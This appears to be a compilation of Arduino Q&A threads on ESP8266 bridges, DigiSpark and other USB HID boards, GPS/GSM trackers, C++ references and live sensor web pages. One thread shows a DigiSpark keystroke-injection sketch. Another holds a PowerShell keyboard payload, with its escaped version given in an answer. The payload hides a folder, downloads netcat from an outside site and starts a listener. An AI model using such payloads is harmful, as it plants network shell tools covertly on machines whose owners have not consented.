You would be best programming the ESP8266 directly to implement a simple TCP to UART bridge firmware instead of fighting with the crummy AT firmware that comes with them.

Its possible to do something similar, but you could reduce the cost even more and drop the Arduinos if you can get FreeRTOS to work on ESP-8266.
These links gives you a brief guide to using the ESP8266 shield for serial over WIFI and how to program the ESP8266 directly.
https://learn.sparkfun.com/tutorials/esp8266-wifi-shield-hookup-guide
https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/using-arduino-ide
Of course you could also look at an ESP32s which is a dual core microprocessor with loads of networking stuff baked into the chip, its about £7/$8 at the moment.

Carlos, have a look at the ESP-Link project that will, I believe, provide the system you require.  As said you may be able to drop the Arduino's using ESP12's.  You may also like to consider MQTT to communicate from the Pi to the ESP's


text:
Why isn't DigiSpark automatically recognized on other computers?
I bought a DigiSpark (it is a development board based on the ATtiny85 microcontroller) yesterday and I wrote my first script.
I have no problems to run it on my personal PC (which I am using to program my DigiSpark). The problem is when I try to plug my DigiSpark to another PC, which doesn't have DigiSpark drivers installed. I tried to run it on two different PCs (Windows 7) and Windows just can not find DigiSpark drivers so my script does not run.
Of course I tried to plug in to different USB ports - unfortunately it did not help.
Any ideas what can I do to make my DigiSpark run on other PC without installing drivers by myself?
Thank you.

my script does not run. What do you mean by that?

I mean that DigiSpark is just not recognized by other PC. I have to install drivers manually first to make it working.

Make what working? What is your sketch doing that requires the PC to have the correct drivers?

Just open "CMD".

So you're running a keyboard emulation sketch, and your PC isn't recognizing it as a keyboard. So you don't really need the digispark drivers, but the keyboard "driver". Are you sure it's not being recognized? I've had similar problems, that it took too long for my PC to register it as a USB keyboard, and my code had already send the key commands. Try adding a few seconds of delay before sending the + keyboard-command.

Don't cross post

the digi spark make use of a bitbanged usb. (emulated usb).
because of this a new pc wont see a HID keyboard but a digi spark. only when the driver is installed it will automaticly switch to the HID driver for the emulated usb stack.
they pro micro has a hardware usb stack. this wil directly show a HID keyboard and work right away.

You will need to install the drivers before you can use it on other computers.
The drivers tell a Windows PC how to talk to the device.  The device is not a generic device so Windows can't use a fall back driver, like it could with a keyboard or monitor.

So there is not any way to make it install drivers automatically right? I am suprised because I saw on YouTube that it should work.

not true, https://www.reddit.com/r/arduino/comments/5ii5mv/why_digispark_is_not_automatically_recognized_on/
Yes, I try to get the DigiSpark to look like a keyboard to a host PC and execute a series of keystrokes. Here is my script: http://pastebin.com/dY05nbGY
permalinkembedparent
[–]cptskippy 3 points 5 months ago
Ok, you're using the DigiKeyboard library so that should make the Digispark show up as HID device. When you plug the DigiSpark into a PC where you haven't installed the drivers, does a "HID Keyboard Device" appear in the Device Manager under the Keyboards branch?
The Digispark powers up and executes the program immediately. My guess is that you probably need a delay in your code to allow the host PC to setup the interface.
#include "DigiKeyboard.h"

void setup() {
    DigiKeyboard.delay(5000);  // Wait 5 seconds before proceeding
}

int limit = 1;
int current = 0;

void loop() {
    DigiKeyboard.update();

    if (current < limit) {
        DigiKeyboard.sendKeyStroke(0);

        DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
        DigiKeyboard.delay(100);
        DigiKeyboard.println("ipconfig");
        current++;
    }

    DigiKeyboard.delay(5000);
}

permalinkembedparent
[–]readerpl[S] 2 points 5 months ago
You are the best!!! IT WORKS!!!!!

I faced the same issue when I first time used DigiSpark. After searching on the internet I found the solid answer that worked for me.
Arduino IDE from 1.66 to onward have not driver for DigiSpark so you have to install the driver manually when you will use Arduino IDE 1.66 or latest. But Arduino IDE 1.65 and some lower versions have support for DigiSpark.
When you will use say Arduino 1.65 and connect DigiSpark to USB port, then your PC/Laptop will automatically install the driver for DigiSpart.

did you read the question and other answers? sensai's answer explains it

Yes sensai's give the answer but I provided the answer that is not hear and it works. There maybe multiple solutions for a single problem and everyone must be discussed if you know it. That's why I shared my opinion.

but in the Question is that it is not about development computer with IDE, but about the target computer where the device is used as HID. so why do you write about IDE versions?

Sir, this is the question. "The problem is when I try to plug my DigiSpark to another PC, which doesn't have DigiSpark drivers installed. I tried to run it on two different PCs (Windows 7) and Windows just can not find DigiSpark drivers so my script does not run."
I answered it. I think now you can understand.

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
How to get the ID of an Arduino?
I use Arduino Pro Mini. As I know, every MCU has a number. Different MCU has different number.  How to get it ?

You should also know that not everything you know is so.

Do you mean, every (single) chip has a unique number? Or does every type of chip have a signature?

@NickGammon   I mean every single chip has a unique number.

Arduino Pro mini is based on Atmega328 which does not have a unique ID. It has only device signature which you can read if you turn on Show verbose output during upload in Arduino IDE's File > Preferences.

But as I know , every Microchip  have a unique number.

Really? Where is this documented?

Could you be confusing the term micro-chip (often applied to any tiny, programmable electronic device) with the manufacturer named "Microchip" (who make the PIC series of micro-controllers, among many other products)? Microchip (the company) does make a line of products that have individually unique IDs. Most manufacturers do not provide unique IDs in their micro-controller devices, and AVR's Atmega 328 series devices do not have unique ID's.

Thanks, I understand you. Because I seemly remeber STM32 and 51 has unique ID, so I think 328 has too.


text:
Tracking Device Using Arduino UNO, GSM and GPS
I'm using SIM900A and GY NEO6MV2. I'm supposed to receive device location continuously after sending "Staff" to GSM and will stop receiving the location if I send "Stop" to GSM. This work on Serial monitor but not on my cellphone.
    #include <SoftwareSerial.h>
    #include <TinyGPS.h>

    float flat, flon; // create variable for latitude and longitude object
    int temp=0,i;

    SoftwareSerial mySerial(10, 11); // create gps sensor connection
    TinyGPS gps; // create gps object

    void setup(){
       Serial.begin(9600); // connect serial
       mySerial.begin(9600); // connect gps sensor
       delay(2000);
       Serial.println("AT+CNMI=2,2,0,0,0");
       temp=0;
     }

     void loop()
     {
        while(Serial.available())
        {
           if(Serial.find("Staff"))
           {
              get_gps();
           }
           if(Serial.find("Stop"))
           {
               loop();
            }
         }
      }

     void get_gps() // run over and over
      {
        unsigned long start = millis();

        while (millis() - start < 10000) {
        if (mySerial.available()) {
             char c = mySerial.read();
             if (gps.encode(c)) {
                 gpsdump(gps);;
             }
            }
          }
        }

     void gpsdump(TinyGPS &gps)
     {
         init_sms();
         gps.f_get_position(&flat,&flon);
         Serial.print("Location?\nRight here:\n");
         Serial.print("Google Maps: https://google.com/maps/place//@");
         printFloat(flat, 5); Serial.print(",");
         printFloat(flon, 5); Serial.print('\n');
         Serial.print("Location as metioned above\nTQVM");
         Serial.write(0x1A);
         delay(2000);
       }

      void init_sms()
     {
       Serial.println("AT+CMGF=1");
       delay(400);
       Serial.println("AT+CMGS=\"+60134484868\"");
       delay(400);
     }

    void printFloat(double number, int digits)
    {
     // Handle negative numbers
     if (number < 0.0) {
     Serial.print('-');
     number = -number;
    }

      // Round correctly so that print(1.999, 2) prints as "2.00"
      double rounding = 0.5;
      for (uint8_t i=0; i<digits; ++i)
      rounding /= 10.0;

      number += rounding;

    // Extract the integer part of the number and print it
     unsigned long int_part = (unsigned long)number;
     double remainder = number - (double)int_part;
     Serial.print(int_part);

    // Print the decimal point, but only if there are digits beyond
    if (digits > 0)
    Serial.print(".");

     // Extract digits from the remainder one at a time
     while (digits-- > 0) {
     remainder *= 10.0;
     int toPrint = int(remainder);
     Serial.print(toPrint);
     remainder -= toPrint;
    }
   }

void loop() {
    ....
    loop();
    ....
}

That's an instant death warrant right there. You can kiss your stack goodbye as it crashes mercilessly into your heap. Never ever ever call loop() from anywhere.
Your decision as to whether or not to get the GPS data is completely flawed. It will run the function once when it finds "Staff" and never again (unless it sees "Staff" again on serial). It doesn't keep finding the same thing over and over again unless you keep sending it over and over again.
And come to that - how exactly are you sending "Staff" and "Stop" through GSM? I assume by SMS message, however I see no code there to actively retrieve the SMS messages from the SIM. So you'll never see anything anyway.
You need to completely re-think your whole program methodology:

Look for new SMS messages
If any exist then read one and delete it.
If the message contained "Staff" then enable sending mode. If the message contained "Stop" then disable sending mode.
If sending mode is enabled and enough time has passed since the last sending then get the GPS data and send it.

You notice the sending of the GPS data is separated from the SMS reception. It's not the reception of the SMS that controls the GSM but the "mode" your program is running in. The SMS just controls that mode.
This is a crude form of Finite State Machine.


text:
Program an Arduino with another Arduino

Is there any way I can program an Arduino using another Arduino,without the need of any computer. I want to store the programming code in the EEPROM of the "Programmer Arduino" and using any interface like SPI, I2C or Serial, burn this code to the Second arduino. Is it possible? How can it be implemented ?

Just use the ISP interface, which is similar to SPI.

will it work without a computer?

Depends on your programming skills...

This sounds like an XY Problem. What are you really trying to do?

The code which is compiled by the arduino IDE is stored inside the arduino and this code will be burnt to any atmega328p chip which is connected to this arduino using any interface

This will give me the ability to program this chip with a compact circuit rather than connecting it to the laptop and burning it

Stack Exchange isn't google. Please google your ideas and try them out before asking on SE. It's VERY likely someone else has had the same idea/problem and made a tutorial or video on it.

You could store just a small program into an EEPROM. For example ATmega328 has 32 KB of program memory and just 1 KB of EEPROM. Besides that, instruction opcodes are 16 bit  so you could store only 512 instructions in 1 KB of EEPROM space. But yes, you could store the opcodes as data in flash and write a program (or use a bootloader for that purpose) to send the firmware over serial communication to another Arduino board.

Th 328 doesn't have enough memory for this. Memory allowing, it is a simple task. Take a look at the 'Arduino As ISP' examples and code.

Storing the program on an SD card and using an Arduino to read that data and program it into another Arduino is perfectly possible. Either through ISP or through serial using the STK500 protocol for the bootloader.

It is certainly possible to do this.

I want to store the programming code in the EEPROM of the "Programmer Arduino" and using any interface like SPI, I2C or Serial, burn this code to the Second arduino.

I should point out that the EEPROM may not be large enough for this. For example, the Uno has only 1KB of EEPROM.
A more workable solution would be to store a reasonable size program in PROGMEM, or a larger one in external memory, like an SD card.
I have a page about a stand-alone programmer - the first idea presented just uses the Serial monitor to command the programmer behaviour:

Using the Serial Monitor you select the file you want programmed. Another approach, commissioned by someone who wanted to eliminate the external computer altogether looks like this:

In this case you put one or more hex files onto the SD card, choose one using the "file select" knob, and then press the "program" button to program it. This only takes a couple of seconds.
There are also commercial products that do a similar thing.

Worth bearing in mind that something like an ESP-01 has much larger memory than the Uno's 1k - 512kB or 1MB - and is smaller and cheaper. Other models have more memory /flash still.

True, but the question was about 2 x Atmega328P.

Hence why I said it was also worth considering. Perhaps he's not 100% unchangably committed to that particular device for the programmer - an XY problem perhaps.

Quite possibly. :)

Yes. Connect 2 arduinos via serial connection (https://www.arduino.cc/en/Reference/Serial), restart one of them via RESET channel and upload sketch(https://www.arduino.cc/en/Guide/ArduinoProMini#toc1). You will need binary files - google 'arduino get sketch binary'(cannot add any more links).

add as may as you want


text:
Microcontrollers with built in HID support
I am trying to build a wireless gamepad for which i am using NRF24l01 module for my wireless need and for Sending data to computer i need an mcu which support to act as hid device. So far, i got Attiny85 and mcu with atmega324u. But the problem is that attiny85 has very few pins and i cannot use it as for both hid and nrf module simutaneously due to pins defficiency. And atmega324u mcu are not avialable in my country. Can anybody suggest me some mcu with built in hid support.

The ATTiny85 doesn't support USB. You can bitbang USB using the V-USB library. Kind of a hack, but it does work. An ATMega328 (used on the UNO) can do the same thing. So the ATMega328 would be an option too (if the ATTiny85 is).
The ATMega32u4 does support USB natively, so this might be better. The ATMega32u4 is the MCU used on the Arduino Leonardo and the Arduino MICRO. Those might be available where you live.
You can also use a regular Arduino UNO. As on the UNO there is also a ATMega16u2 that does the usb-to-serial. You can reprogram this ATMega16u2 to also act as a keyboard. Like in this project


text:
Teensy to Teensy serial communication via USB connector
I have 2 Arduino Teensy 3.2 boards that I'm trying to implement serial communication between the 2 boards.  I have successfully done this by connecting RX1 of the 1st Teensy with TX1 of 2nd Teensy and TX1 of 1st to RX1 2nd.
However I was wondering if I could send serial messages between the Teensys i.e. do the same thing, by connect the 2 Teensys via the USB port?  Or is this USB port reserved to connecting the Teensy to a computer?

There is alpha software at https://github.com/felis/UHS30 to setup USB host mode, so it could be possible, but you might be better off doing what you are doing.

But why? Uart is good and easy, RS485 is more robust. USB is complicated and not very beneficial.

I thought you could reuse the D+ and D- pins to do e.g. software serial over them. But it seems like you can't use those pins as GPIO.

Note: The Teensy you pictured is an ARM based (NXP MK20DX256) Arduino which is very different from well established legacy Arduinos. There have been (and, maybe, still are) "bugs" in some ARM Arduino code.  So Teensy pins used outside their normal (expected) purpose my or may not work like similar pins on legacy Arduino platforms.
In order for 2 USBs to talk to each other, one needs to be a USB Host and the other a USB Device.  There can be multiple USB Devices so the USB protocol is made more complex to handle this feature.  There can be many types of USB Devices each with their own underlying protocol so the USB protocol is made more complex to handle this additional feature.  A serial port USB Device uses the CDC or Communications Device Class protocol.
So, in order to have two Teensy board to talk to one another using the USB CDC protocol, one of the Teensy boards needs to be turned from a USB Device to a USB Host.  Which is not trivial.  Most developers will turn to the OEM of the processor.  As most processor OEMs offer free software for such purposes to promote the sales of their hardware.

How about connecting the USB of 1 teensy to the UART of a second?  I know there are usb to uart adapters but from what I understand they are for PCs?

There is soooo much USB overhead (because of all the features USB supports) that you would need some fairly complex software behind the "other teensy's" UART.  Not to mention you need some hardware to convert from USB levels to TTL levels.  See the V-USB project for more details.

Teensy 3.5, 3.6, 4.0 and 4.1 have a second USB interface which is configured as USB Host. You can use this interface in CDC mode (see @st2000 answer) and connect it to the normal USB device plug of any other Teensy if you need to. But please note that a T3.2 can transmit up to about 3 MBaud over its serial UARTS. So, I don't see any reason to use USB for board to board communication.


text:
Printing multiple double qoutes in print statement
I'm trying to print multiple quotes in a Keyboard.print() function but when i try to escape the character with \ at  $output =\"$HOME\Misc\nc.zip\"" and the string does not get recognized by the ide. Usually when the ide knows it's a string it highlights the text in blue, it does not do that for $output and after $output. How can I print the whole string including all the double quotes within the string?
Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"):

What is your question? Your post looks like a bug report for Arduino IDE; if so, post it as an issue to https://github.com/arduino/Arduino/issues

How can I print the whole string including the quotes.  @jfpoilpret

What is the exact sequence of characters that you want to send to the keyboard? From that, we can show you how to properly escape it. As I see in your sample code, your escaping looks incorrect in several palces, in particular, almost everywhere you used \"" where you should have used \" only.

I don't understand what you mean by sequence, I just want to print this string this is without any messy escaping quotes  Keyboard.print("cd  "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt");

but when I only use one double quote at the end it stops at $output the rest doest not  get recognized as a string.

Don't cross post.

It seems you used \"" instead of only \" in several locations of this string. Also, since the string you want to send already includes the escape \ character, it must iself be escaped \\.
If the command you want to send to keyboard is:

cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt

Then you should escape it as follows:
"cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt"


text:
DigitalRead() floating pin problem
I am having a problem implementing a the digitalRead() function in arduino uno.I want digitalRead to return 0 when nothing is connected and return 1 when it is connected to +5 volt.But seems like digitalRead returns random values when it is not connected to anything.
I have kind of solved the problem by a small piece of code to stabilize the value i'll attach the code here but if any other solution is avalable..Please help.
The function is as follows:-
bool getValue()

{

String k="";

if(digitalRead(3)==HIGH)

k="HIGH";

else

k="LOW";

bool f=true;

for(int i=0;i<1000;i++)

{
String z;

  if(digitalRead(3)==HIGH)

  z="HIGH";

  else

  z="LOW";

  if(k!=z)

  {

    f=false;

    break;

  }

}

if(f==true)

return true;

else

return false;

}

The solution is called a pull down resistor and it's exactly the same as when you are using a button - the button is what connects the pin to +5V. The pull down resistor (usually around 10kΩ) connected to ground is what makes the pin read LOW at other times.

Do you (original poster) really need it to read 0 when disconnected?  The Arduinos have a built-in pull-up resistor which you can easily enable (https://www.arduino.cc/en/Tutorial/DigitalPins), meaning it will read 1 when disconnected.  Your external device then has to pull the line to 0v to signal something.  This is a very common way of doing things.

Thanks Mark... I'll implement it in that manner..Thanks again


text:
How to add extra USB port to Arduino Nano?
I'm trying to use V-USB library to emulate a keyboard using Arduino Nano but because of precaution, I don't want to use it's built-in USB port.
My idea is to add another USB port so I cant power my device with the new USB port and use free digital pins as input/output of the new USB serial port in V-USB project.
What circuit I should use and how to add extra USB port to Arduino Nano.

By far the easiest way would be to buy a second Nano and connect the two together.

@Andrew of course it's easiest way but I care about the cost of the project!

The circuit diagram for connecting V-USB http://read.pudn.com/downloads194/sourcecode/embed/911688/vusb-20090822/circuits/with-zener.png

USB is deceptively simple.  The underlying protocol is very complex. So a complete answer to your question requires some USB background.
USB is divided into 2 types.  USB Hosts and USB Devices. We are not concerned about USB Hosts here.  USB Devices only need to know about their own functions / features.  If they are a serial port device, like the FTDI chip on the Arduino Nano, they only need to "speak" basic USB protocol and the serial CDC USB protocol.  If the USB Device was a keyboard, it only needs to know the basic USB protocol and the HID USB protocol.
In order to offer up a USB port the Arduino Nano uses an FTDI chip FT232RL.  This chip supports a Serial Port USB Device.  It does not appear to support HID USB Devices.  So your decision to use V-USB is necessary not because of power but because the Arduino Nano's built in USB port supports a protocol other than USB CDC.

What circuit I should use and how to add extra USB port to Arduino
  Nano.

The circuit suggested is on the V-USB web page appears to contain the necessary information:

Of course you will have to do some research into V-USB software to see which are the appropriate pins to use on your Arduino Nano.

The OP wants to use V-USB!

I see what you mean.  I'll edit my answer.  Thanks.

Since Arduino Nano have internal oscillator, can I setup only left side of the circuit?

My understanding is that USB is very picky about frequency.  Perhaps this is the reason that the V-USB web page included the external crystal.  However, the V-USB web page does say: "Can be clocked with 12 MHz, 15 MHz, 16 MHz 18 MHz or 20 MHz crystal or from a 12.8 MHz or 16.5 MHz internal RC oscillator.".

You can use a USB host mini module for the Arduino NANO and the USB Host Library r2.0

You can implement a keyboard with this...


text:
A class within a class - via an Initialiser Lists: NOT able to update a variable
My test are based on the blog of http://arduinoetcetera.blogspot.be/2011/01/classes-within-classes-initialiser.html.
Because I would like to use this idea, I tried with a simple idea, after the instance is created just update a value.
But for some reason, the code compiles perfectly and there seems to be no error with the update method, but it DOES NOT UPDATE the variable.
But my output on the serial monitor show that the number (volatile int) doesn't update.
Object of class First has value - Number: 6
Object of class Second has value - Number: 13
Object of class Second has value - Double: 26
Object of class Second has value - Update: [0] - 20  // <--
- -
Object of class First has value - Number: 6
Object of class Second has value - Number: 13        // <--
Object of class Second has value - Double: 26
Object of class Second has value - Update: [1] - 70
- -
Object of class First has value - Number: 6
Object of class Second has value - Number: 13

code - MAIN :  First thing(6, 13);
[edited on request of @Mark Smith]
#include "First.h"
First thing(6, 13);
...
int newValue;
...
int ledPins[] = {
  20, 70, 45, 68, 543, 321
}; // an array of pin numbers to which LEDs are attached
int pinCount = 6; // the number of pins (i.e. the length of the array)
bool plus=true;
int index=-1;
void loop() {
  Serial.print("Object of class First has value - Number: ");
  Serial.println(thing.Number());
  Serial.println();
  Serial.print("Object of class Second has value - Number: ");
  Serial.println(thing.getSecond().Number());
  Serial.print("Object of class Second has value - Double: ");
  Serial.println(thing.getSecond().Double());
  ...
  Serial.print("Object of class Second has value - Update: [");
  if ( plus && index == (pinCount-1) ) {
    plus=!plus;
  }
  if ( !plus && index == 0 ) {
    plus=!plus;
  }
  // change + <--> -
  (plus) ? index++ : index--;
  newValue=ledPins[index];
  Serial.print(index,DEC);
  Serial.print("] - ");
  Serial.println(newValue, DEC);
  thing.getSecond().Update(newValue);
  Serial.println("- - ");

code - FIRST
#include "First.h"
...
First::First(int firstNumber, int secondNumber) : widget(secondNumber) {
  itsNumber = firstNumber;
}
int First::Number() {
  return itsNumber;
}
Second First::getSecond() {
  return widget;
}

code - SECOND : void Second::Update(int newNumber)
#include "Second.h"
...
volatile int itsNumber;
Second::Second(int newNumber) {
  itsNumber = newNumber;
}
void Second::Update(int newNumber) {
  itsNumber = newNumber;
}
int Second::Number() {
  return itsNumber;
}
int Second::Double() {
  return itsNumber*2;
}

For the complete code
https://github.com/droopy4u/ARDUINO
 - https://github.com/droopy4u/ARDUINO/tree/master/ClassWithClasses -

Could you post the actual code please? The part you've posted doesn't show the problem part. It's not good to rely on external links because they might disappear, and in your case it's not obvious (enough that I can be bothered to work out) which of the two very similar sets of files in your git repo you're using. Thanks.

This isn't an Arduino specific question, its general C/C++ BUT it is quite an important problem that lots of novice programmers have so I don't think it should be moved.

Even without the real code, I think the problem is with the function First::Second().
You need to understand what happens in C++ when values are passed as parameters.  The are passed by value by default, this means a COPY of the value is passed into the function, you can modify the parameter all you like but when you return those changes are lost.
There are two exceptions to this, the first is pointers.  When you pass in a pointer you can modify what is pointed to but you still can't modify the pointer, because that is a copy.  If you want to modify the pointer then you need a pointer to a pointer int** ptr_to_ptr.
The other exception is a reference.  In this case the function can modify the parent function's variable.  This is more efficient in terms of memory.
So you have:
int AddOne(int value) {++value; return value};   // 5 == AddOne(5);
int AddOne (int value) {return value+1};         // 6 == AddOne(5); - doesn't modify the parameter.
int AddOne(int* pValue) {(*value)+1; return *value;}//6 == AddOne(5); - Pointer
int AddOne(int& value){++value; return value;}   // 6 == AddOne(5); - Referance
int AddOne(const int& value){++value; return value;} // Compiler error, modifying const value.

So why it is First::Second() causing the problem?  Well the same rules apply to return values as to parameters and you are returning a copy of the value widget so you then modify that copy and then dispose of it.  So this is what you need to fix the problem.
Second& First::getSecond()
{
    return widget;
}

EDIT : Its not clear in the preceding text but you don't need getSecond() to return a reference if you are not altering the value of widget so getDouble() will return the expected value because it is working form a copy of the original and not storing any changes.  However update() will not work as expected because the result of getSecond() goes out of scope (gets disposed of) once the call is complete.  The changes its made are not save to the original because it is working on a copy.

PART1
Thank you very much for response ... first I was thinking and tried the same thing but then in the Class with the variable, but most probably I did something wrong, because of the compiler errors.
But I created a First.cpp and a First.h file - library. - so is it then not an instance?
I try to understand it ... but find it hard to solve the problem.

PART2
Tried your suggestion
by
Second& First::getSecond() as well Second &First::getSecond()
->
prototype ... does not match any in class 'First'.
I'm a beginner, but if I call the method thing.getSecond().Double() then it returns the correct data  int Second::Double(){   return itsNumber*2; } as 26. But it seems that the update is not working well, do you maybe have an other suggestion?

... thanks for your quick response and effort Because I have not enough reputation I'm not able to vote on your answer. Even not enough privilege to edit my own comment. Thank you very much.

The position of the space doesn't matter in this case, but I prefer Second& First::getSecond() because it makes it a bit clearer that it is Second you are referencing.  The error prototype ... does not match any in class 'First' means you need to change it in the .h and the .cpp file.

Part 2 :)  without using Second& First::getSecond() thing.getSecond().Double() will return 26 because you are taking a copy of widget and returning that copy and then reading the value from that copy before disposing of it.      When you do thing.getSecond().Update(8) you are getting a copy of widget, changing the value in that copy and then disposing of the copy.  The value in widget was never changed and this is why it is not working as you think it would.    I understand it can be difficult to comprehend so in every day terms...

Imagine that you have a letter.  You take a photocopy of the letter.  On this copy you underline the address the letter was sent from.  You then throw the photocopy away.  Where has the underlined text gone on the original?
If we use a reference & to the object (or a pointer) it means that there was no photocopy you changed the original letter and you still have the underlining.  Does that make more sense?

Now it is clear ... just an other COPY of the widget.
Thank you very much ...
An other question ... were you may be know the answer to let (the two) classes communicate with each other ... what is the best way to do it.
Event handlers ... or ... what are you recommendations?

I don't really understand what you want to do, also its another question so I think you should raise it as a separate question.  I'll keep looking for it.

mean something ... delegate ... "Observer" - and method notifyObservers of "Observable" ... But gonna search on google ... thanks any way ... Happy Hollidays

@MATT,
with trying to get the address of variable via
    const long SERIAL_SPEED=38400;//baud rate of the serial communication

//global variable
    int a = 15;
    int *b=a;

void infoVar(){
    Serial.print("\n\n");
    Serial.print(" a -  ");  Serial.println(a, DEC );
    Serial.print("*b -  ");  Serial.println(*b, DEC );  // dereferencing
    Serial.print("\n");

    Serial.print("int  b - ");  Serial.println( (int) b, DEC );   // ???
    // This is the content of the pointer variable b
    Serial.print("int &b - ");  Serial.println( (int) &b, DEC );  // address of memory location where b is stored
    Serial.print("int &a - ");  Serial.println( (int) &a, DEC );  // address of memory location where a is stored
}

void setup() {
  // put your setup code here, to run once:
    Serial.begin(SERIAL_SPEED);      // open the serial port at SERIAL_SPEED bps:

    Serial.println("Started : ### reference_pointer ###\n\n");

// *** :  when uncomment next line : the value b = 123
//b=123

    *b=a;
    infoVar();

    a=235;
    *b=a;
    infoVar();

    a=1928;
    *b=a;
    infoVar();

    }

void loop() {
  // put your main code here, to run repeatedly:
}

OUTPUT
 a -  15
*b -  15

int  b – 15
        // don't understand here that it is 15
            //thought that is would be the the address of the variable 'a'
            // it seems that it keeps the first initiated value??? ***
int &b - 676
int &a - 256

 a -  235
*b -  235

int  b - 15
int &b - 676
int &a - 256

 a -  1928
*b -  1928

int  b - 15
int &b - 676
int &a - 256


text:
How to load page from SD card and still show live data from sensors?
I am just wondering, how can we display page from SD card and still show live data from sensors?
I have web server running on Arduino mega using ethernet shield, in my sketch I am doing client.print to build content of a page being displayed, and refreshing it display live data.
But I can't think of a way how can I load page from SD card and display data from sensors.

Can you show your code please? It very much depends on how you're doing it.

@MarkSmith http://codereview.stackexchange.com/q/149563/22943

Is your problem really that you want your device to serve two different web pages?  Or are you trying to embed your live data into the middle of a pre-formed page? Or something else?

I want to embed live data onto a pre formed page.

I am sorry I didnt understand you, the above link I pasted is just how I am loading page from without sd card .

Sorry, I'm typing on a phone. Do you know how to load a file from the SD card into memory?

Use a character that you are not using (e.g. @) and place that where you want to put the live data. Then, when reading the file forward all characters other than '@' to client.print, but when you find a '@' print the live data. Very rudimentary templating.

Maybe combine JavaScript with Arduino-Websockets. But it would be more logical tot connecties your arduino to a more capable server.

Based upon this W3C example you can have w3-include-HTML.js file with the following contents:
function w3IncludeHTML() {
  var z, i, a, file, xhttp;
  z = document.getElementsByTagName("*");
  for (i = 0; i < z.length; i++) {
    if (z[i].getAttribute("w3-include-html")) {
      a = z[i].cloneNode(false);
      file = z[i].getAttribute("w3-include-html");
      xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          a.removeAttribute("w3-include-html");
          a.innerHTML = this.responseText;
          z[i].parentNode.replaceChild(a, z[i]);
          w3IncludeHTML();
        }
      }
      xhttp.open("GET", file, true);
      xhttp.send();
      return;
    }
  }

Now you can put this in your .html file:

and then you can use something as:
server.on("/generated_data.html", live_data);

If you want to be able to use server.on() you must include <ESP8266WebServer.h> but you can serve the content the way you like. You can examine the ESP8266WebServer::on() method source code and adapt it according to your needs or you can just use that method as is.
Everything until now will result with calling the live_data() function and inserting it's response into the div which has the attribute w3-include-html="generated_data.html".
Now you only need to generate the live data inside the live_data() and to send the response:
void live_data() {
  String data_from_sensor;

  // read here the data from some sensor and store it in data_from_sensor
  String response = "
Live data

The data is: " + data_from_sensor + "some unit
";
  server.send(200, "text/html", response);
}

And that's it. The live data generated inside live_data() will show where was the empty div with w3-include-html attribute.
Of course, you can have more divs with different w3-include-html attributes and belonging server.on() statements.
There are many ways, this is just an example so you can get an idea from where to start. This code will not update the live data on and on but now that you know the mechanism, you can modify the code to do whatever you like.

This is a variation on Chupo_cro’s answer... His suggestion to use
XMLHttpRequest() is definitely the way to go. But unlike his answer, I
suggest here to not send HTML-formatted data. Just send the raw data
as JSON, which is the simplest data format suitable
for this job. Since your client computer is likely to be orders of
magnitude more powerful than your server, you can offload all the job of
presenting the data to the client JavaScript code. Keep your Arduino
server minimalist and have it only serve:

static content (HTML, JavaScript and CSS) from the SD card
raw live data as JSON.

And then let the client handle the presentation of the data in whatever
form you like.
Your static Web page would then contain no data and have instead
placeholders of the form ---. For example:

Rain sensor reading: ---,
--- rain

Temperature: --- °C
/ --- °F

Humidity: ---%

Dew point: --- °C

Your client JavaScript code starts by collecting references to those
placeholders:
// HTML elements with replaceable content.
var elements = null;

window.onload = function() {
    var getElt = document.getElementById.bind(document);
    elements = {
        rainValue: getElt("rainValue"),
        rainQuality: getElt("rainQuality"),
        tempCelsius: getElt("tempCelsius"),
        tempFahrenheit: getElt("tempFahrenheit"),
        humidity: getElt("humidity"),
        dewPoint: getElt("dewPoint")
    };
    setInterval(requestLiveData, 5000);
};

Then the page can be updated from live data simply by filling the
innerHTML attributes of the elements:
function dewPoint(temperature, humidity) {
    return ...;
}

// Update page from live data.
function updatePage(data) {
    elements.rainValue.innerHTML = data.rain;
    elements.rainQuality.innerHTML =
        data.rain < 300 ? "heavy" :
        data.rain < 500 ? "moderate" : "no";
    elements.tempCelsius.innerHTML = data.temperature;
    elements.tempFahrenheit.innerHTML = data.temperature * 9 / 5 + 32;
    elements.humidity.innerHTML = data.humidity;
    elements.dewPoint.innerHTML = dewPoint(data.temperature, data.humidity);
}

